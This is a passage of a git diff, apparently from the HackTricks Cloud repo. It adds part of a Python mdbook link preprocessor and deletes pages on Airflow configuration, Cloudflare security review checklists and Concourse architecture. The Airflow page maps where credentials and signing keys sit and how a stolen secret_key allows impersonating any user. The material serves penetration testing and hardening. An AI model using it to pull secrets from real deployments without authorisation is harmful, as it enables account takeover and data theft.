(.*?)', raw_html)
+ title = match.group(1) if match else href
+ except Exception as e:
+ logger.debug(f'Error opening URL {href}: {e}')
+ pass #nDont stop on broken link
+ else:
+ try:
+ if href.endswith("/"):
+ href = href+"README.md" # Fix if ref points to a folder
+ chapter, _path = findtitle(href, book, "source_path")
+ logger.debug(f'Recursive title search result: {chapter['name']}')
+ title = chapter['name']
+ except Exception as e:
+ try:
+ dir = path.dirname(current_chapter['source_path'])
+ logger.debug(f'Error getting chapter title: {href} trying with relative path {path.normpath(path.join(dir,href))}')
+ chapter, _path = findtitle(path.normpath(path.join(dir,href)), book, "source_path")
+ logger.debug(f'Recursive title search result: {chapter['name']}')
+ title = chapter['name']
+ except Exception as e:
+ logger.debug(f'Error getting chapter title: {path.normpath(path.join(dir,href))}')
+ print(f'Error getting chapter title: {path.normpath(path.join(dir,href))}')
+ sys.exit(1)
+
+
+ template = f"""{title}"""
+
+ # translate_table = str.maketrans({"\"":"\\\"","\n":"\\n"})
+ # translated_text = template.translate(translate_table)
+ result = template
+
+ return result
+
+
+def iterate_chapters(sections):
+ if isinstance(sections, dict) and "PartTitle" in sections: # Not a chapter section
+ return
+ elif isinstance(sections, dict) and "Chapter" in sections: # Is a chapter return it and look into sub items
+ # logger.debug(f"Chapter {sections['Chapter']}")
+ yield sections['Chapter']
+ yield from iterate_chapters(sections['Chapter']["sub_items"])
+ elif isinstance(sections, list): # Iterate through list when in sections and in sub_items
+ for k, v in enumerate(sections):
+ yield from iterate_chapters(v)
+
+
+if __name__ == '__main__':
+ global context, book, current_chapter
+ if len(sys.argv) > 1: # we check if we received any argument
+ if sys.argv[1] == "supports":
+ # then we are good to return an exit status code of 0, since the other argument will just be the renderer's name
+ sys.exit(0)
+ logger.debug('Started hacktricks preprocessor')
+ # load both the context and the book representations from stdin
+ context, book = json.load(sys.stdin)
+
+ logger.debug(f"Context: {context}")
+
+
+ for chapter in iterate_chapters(book['sections']):
+ logger.debug(f"Chapter: {chapter['path']}")
+ current_chapter = chapter
+ regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
+ new_content = re.sub(regex, ref, chapter['content'])
+ chapter['content'] = new_content
+
+ content = json.dumps(book)
+ logger.debug(content)
+
+
+ print(content)
\ No newline at end of file
diff --git a/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
deleted file mode 100644
index 2508f970f..000000000
--- a/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
+++ /dev/null
@@ -1,137 +0,0 @@
-# Airflow Configuration
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## Configuration File
-
-**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.**
-
-**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.**
-
-Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
-
-If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\
-If you have **access to some machine inside the airflow env**, check the **environment**.
-
-Some interesting values to check when reading the config file:
-
-### \[api]
-
-* **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS**
-* **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS**
-* **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS**
-* **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API:
- * `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API
- * `airflow.api.auth.backend.default`: **Everyone can** access it without authentication
- * `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication**
- * `airflow.api.auth.backend.basic_auth`: For **basic authentication**
- * `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)).
- * `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default).
- * You can also **create you own authentication** method with python.
-* **`google_key_path`:** Path to the **GCP service account key**
-
-### **\[atlas]**
-
-* **`password`**: Atlas password
-* **`username`**: Atlas username
-
-### \[celery]
-
-* **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_)
-* **`result_backend`**: Postgres url which may contain **credentials**.
-* **`ssl_cacert`**: Path to the cacert
-* **`ssl_cert`**: Path to the cert
-* **`ssl_key`**: Path to the key
-
-### \[core]
-
-* **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that don’t contain the strings `DAG` and `airflow`.
-* **`fernet_key`**: Key to store encrypted variables (symmetric)
-* **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections.
-* **`security`**: What security module to use (for example kerberos)
-
-### \[dask]
-
-* **`tls_ca`**: Path to ca
-* **`tls_cert`**: Part to the cert
-* **`tls_key`**: Part to the tls key
-
-### \[kerberos]
-
-* **`ccache`**: Path to ccache file
-* **`forwardable`**: Enabled by default
-
-### \[logging]
-
-* **`google_key_path`**: Path to GCP JSON creds.
-
-### \[secrets]
-
-* **`backend`**: Full class name of secrets backend to enable
-* **`backend_kwargs`**: The backend\_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class.
-
-### \[smtp]
-
-* **`smtp_password`**: SMTP password
-* **`smtp_user`**: SMTP user
-
-### \[webserver]
-
-* **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value
-* **`cookie_secure`**: Set **secure flag** on the the session cookie
-* **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console**
-* **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker)
-* **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**)
-* **`web_server_ssl_cert`**: **Path** to the **SSL** **cert**
-* **`web_server_ssl_key`**: **Path** to the **SSL** **Key**
-* **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible
-
-### Web Authentication
-
-By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as
-
-```bash
-AUTH_TYPE = AUTH_DB
-```
-
-Which means that the **authentication is checked against the database**. However, other configurations are possible like
-
-```bash
-AUTH_TYPE = AUTH_OAUTH
-```
-
-To leave the **authentication to third party services**.
-
-However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**:
-
-```bash
-AUTH_ROLE_PUBLIC = 'Admin'
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-ci-cd/cloudflare-security/README.md b/pentesting-ci-cd/cloudflare-security/README.md
deleted file mode 100644
index 05741968d..000000000
--- a/pentesting-ci-cd/cloudflare-security/README.md
+++ /dev/null
@@ -1,163 +0,0 @@
-# Cloudflare Security
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
-
-
-
-## Websites
-
-Review each with:
-
-{% content-ref url="cloudflare-domains.md" %}
-[cloudflare-domains.md](cloudflare-domains.md)
-{% endcontent-ref %}
-
-### Domain Registration
-
-* [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain.
-
-Review each with:
-
-{% content-ref url="cloudflare-domains.md" %}
-[cloudflare-domains.md](cloudflare-domains.md)
-{% endcontent-ref %}
-
-## Analytics
-
-_I couldn't find anything to check for a config security review._
-
-## Pages
-
-On each Cloudflare's page:
-
-* [ ] Check for **sensitive information** in the **`Build log`**.
-* [ ] Check for **sensitive information** in the **Github repository** assigned to the pages.
-* [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/).
-* [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any).
-* [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code**
-* [ ] In the details of each page `//pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**.
-* [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page.
-
-## **Workers**
-
-On each Cloudflare's worker check:
-
-* [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
-* [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
-* [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
- * Check for SSRFs returning the indicated page that you can control
- * Check XSSs executing JS inside a svg image
- * It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
-
-{% hint style="warning" %}
-Note that by default a **Worker is given a URL** such as `..workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
-{% endhint %}
-
-## R2
-
-On each R2 bucket check:
-
-* [ ] Configure **CORS Policy**.
-
-## Stream
-
-TODO
-
-## Images
-
-TODO
-
-## Security Center
-
-* [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise.
- * [ ] Just **check this information** for security misconfigurations and interesting info
-
-## Turnstile
-
-TODO
-
-## **Zero Trust**
-
-{% content-ref url="cloudflare-zero-trust-network.md" %}
-[cloudflare-zero-trust-network.md](cloudflare-zero-trust-network.md)
-{% endcontent-ref %}
-
-## Bulk Redirects
-
-{% hint style="info" %}
-Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
-{% endhint %}
-
-* [ ] Check that the **expressions** and **requirements** for redirects **make sense**.
-* [ ] Check also for **sensitive hidden endpoints** that you contain interesting info.
-
-## Notifications
-
-* [ ] Check the **notifications.** These notifications are recommended for security:
- * `Usage Based Billing`
- * `HTTP DDoS Attack Alert`
- * `Layer 3/4 DDoS Attack Alert`
- * `Advanced HTTP DDoS Attack Alert`
- * `Advanced Layer 3/4 DDoS Attack Alert`
- * `Flow-based Monitoring: Volumetric Attack`
- * `Route Leak Detection Alert`
- * `Access mTLS Certificate Expiration Alert`
- * `SSL for SaaS Custom Hostnames Alert`
- * `Universal SSL Alert`
- * `Script Monitor New Code Change Detection Alert`
- * `Script Monitor New Domain Alert`
- * `Script Monitor New Malicious Domain Alert`
- * `Script Monitor New Malicious Script Alert`
- * `Script Monitor New Malicious URL Alert`
- * `Script Monitor New Scripts Alert`
- * `Script Monitor New Script Exceeds Max URL Length Alert`
- * `Advanced Security Events Alert`
- * `Security Events Alert`
-* [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
- * [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
-
-## Manage Account
-
-* [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
-* [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
-* [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
- * Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
-* [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
-
-{% hint style="info" %}
-Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
-{% endhint %}
-
-## DDoS Investigation
-
-[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
deleted file mode 100644
index 7eb00f0ba..000000000
--- a/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
+++ /dev/null
@@ -1,159 +0,0 @@
-# Cloudflare Domains
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
-
-
-
-### Overview
-
-* [ ] Get a feeling of **how much** are the services of the account **used**
-* [ ] Find also the **zone ID** and the **account ID**
-
-### Analytics
-
-* [ ] In **`Security`** check if there is any **Rate limiting**
-
-### DNS
-
-* [ ] Check **interesting** (sensitive?) data in DNS **records**
-* [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com)
-* [ ] Check for web pages that **aren't** **proxied**
-* [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address
-* [ ] Check that **DNSSEC** is **enabled**
-* [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs**
- * This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings
-* [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing)
-
-### **Email**
-
-TODO
-
-### Spectrum
-
-TODO
-
-### SSL/TLS
-
-#### **Overview**
-
-* [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point.
-* [ ] The **SSL/TLS Recommender** should be enabled
-
-#### Edge Certificates
-
-* [ ] **Always Use HTTPS** should be **enabled**
-* [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled**
-* [ ] **Minimum TLS Version should be 1.2**
-* [ ] **TLS 1.3 should be enabled**
-* [ ] **Automatic HTTPS Rewrites** should be **enabled**
-* [ ] **Certificate Transparency Monitoring** should be **enabled**
-
-### **Security**
-
-* [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses.
- * The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used.
-* [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used
-* [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare
-* [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections**
-* [ ] In the **`Settings`** section:
- * [ ] Check that the **`Security Level`** is **medium** or greater
- * [ ] Check that the **`Challenge Passage`** is 1 hour at max
- * [ ] Check that the **`Browser Integrity Check`** is **enabled**
- * [ ] Check that the **`Privacy Pass Support`** is **enabled**
-
-#### **CloudFlare DDoS Protection**
-
-* If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access.
-* In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie.
- * If the attack is from a **verified bot**, at least **add a rate limit** to bots.
- * If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path.
- * You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF.
- * Check if **Managed rules** could also help to prevent vulnerability exploitations.
- * In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.**
-* In DDoS you could **override some rules to make them more restrictive**.
-* **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**.
-* In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled
-* In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events**
-
-### Access
-
-{% content-ref url="cloudflare-zero-trust-network.md" %}
-[cloudflare-zero-trust-network.md](cloudflare-zero-trust-network.md)
-{% endcontent-ref %}
-
-### Speed
-
-_I couldn't find any option related to security_
-
-### Caching
-
-* [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool**
-
-### **Workers Routes**
-
-_You should have already checked_ [_cloudflare workers_](./#workers)
-
-### Rules
-
-TODO
-
-### Network
-
-* [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled**
-* [ ] **`HTTP/3 (with QUIC)`** should be **enabled**
-* [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled**
-
-### **Traffic**
-
-TODO
-
-### Custom Pages
-
-* [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode)
-
-### Apps
-
-TODO
-
-### Scrape Shield
-
-* [ ] Check **Email Address Obfuscation** is **enabled**
-* [ ] Check **Server-side Excludes** is **enabled**
-
-### **Zaraz**
-
-TODO
-
-### **Web3**
-
-TODO
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
deleted file mode 100644
index 85b037522..000000000
--- a/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
+++ /dev/null
@@ -1,87 +0,0 @@
-# Cloudflare Zero Trust Network
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-In a **Cloudflare Zero Trust Network** account there are some **settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
-
-
-
-### Analytics
-
-* [ ] Useful to **get to know the environment**
-
-### **Gateway**
-
-* [ ] In **`Policies`** it's possible to generate policies to **restrict** by **DNS**, **network** or **HTTP** request who can access applications.
- * If used, **policies** could be created to **restrict** the access to malicious sites.
- * This is **only relevant if a gateway is being used**, if not, there is no reason to create defensive policies.
-
-### Access
-
-#### Applications
-
-On each application:
-
-* [ ] Check **who** can access to the application in the **Policies** and check that **only** the **users** that **need access** to the application can access.
- * To allow access **`Access Groups`** are going to be used (and **additional rules** can be set also)
-* [ ] Check the **available identity providers** and make sure they **aren't too open**
-* [ ] In **`Settings`**:
- * [ ] Check **CORS isn't enabled** (if it's enabled, check it's **secure** and it isn't allowing everything)
- * [ ] Cookies should have **Strict Same-Site** attribute, **HTTP Only** and **binding cookie** should be **enabled** if the application is HTTP.
- * [ ] Consider enabling also **Browser rendering** for better **protection. More info about** [**remote browser isolation here**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
-
-#### **Access Groups**
-
-* [ ] Check that the access groups generated are **correctly restricted** to the users they should allow.
-* [ ] It's specially important to check that the **default access group isn't very open** (it's **not allowing too many people**) as by **default** anyone in that **group** is going to be able to **access applications**.
- * Note that it's possible to give **access** to **EVERYONE** and other **very open policies** that aren't recommended unless 100% necessary.
-
-#### Service Auth
-
-* [ ] Check that all service tokens **expires in 1 year or less**
-
-#### Tunnels
-
-TODO
-
-### My Team
-
-TODO
-
-### Logs
-
-* [ ] You could search for **unexpected actions** from users
-
-### Settings
-
-* [ ] Check the **plan type**
-* [ ] It's possible to see the **credits card owner name**, **last 4 digits**, **expiration** date and **address**
-* [ ] It's recommended to **add a User Seat Expiration** to remove users that doesn't really use this service
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-ci-cd/concourse-security/README.md b/pentesting-ci-cd/concourse-security/README.md
deleted file mode 100644
index bc438e1de..000000000
--- a/pentesting-ci-cd/concourse-security/README.md
+++ /dev/null
@@ -1,59 +0,0 @@
-# Concourse Security
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-## Basic Information
-
-Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...)
-
-## Concourse Architecture
-
-Learn how the concourse environment is structured in:
-
-{% content-ref url="concourse-architecture.md" %}
-[concourse-architecture.md](concourse-architecture.md)
-{% endcontent-ref %}
-
-## Concourse Lab
-
-Learn how you can run a concourse environment locally to do your own tests in:
-
-{% content-ref url="concourse-lab-creation.md" %}
-[concourse-lab-creation.md](concourse-lab-creation.md)
-{% endcontent-ref %}
-
-## Enumerate & Attack Concourse
-
-Learn how you can enumerate the concourse environment and abuse it in:
-
-{% content-ref url="concourse-enumeration-and-attacks.md" %}
-[concourse-enumeration-and-attacks.md](concourse-enumeration-and-attacks.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
diff --git a/pentesting-ci-cd/concourse-security/concourse-architecture.md b/pentesting-ci-cd/concourse-security/concourse-architecture.md
deleted file mode 100644
index c2a08a80f..000000000
--- a/pentesting-ci-cd/concourse-security/concourse-architecture.md
+++ /dev/null
@@ -1,64 +0,0 @@
-# Concourse Architecture
-
-## Concourse Architecture
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
-Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
-
-
-Support HackTricks
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-
-{% endhint %}
-
-[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html)
-
-### Architecture
-
-.png>)
-
-#### ATC: web UI & build scheduler
-
-The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs).
-
-The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes.
-
-#### TSA: worker registration & forwarding
-
-The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc).
-
-The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer.
-
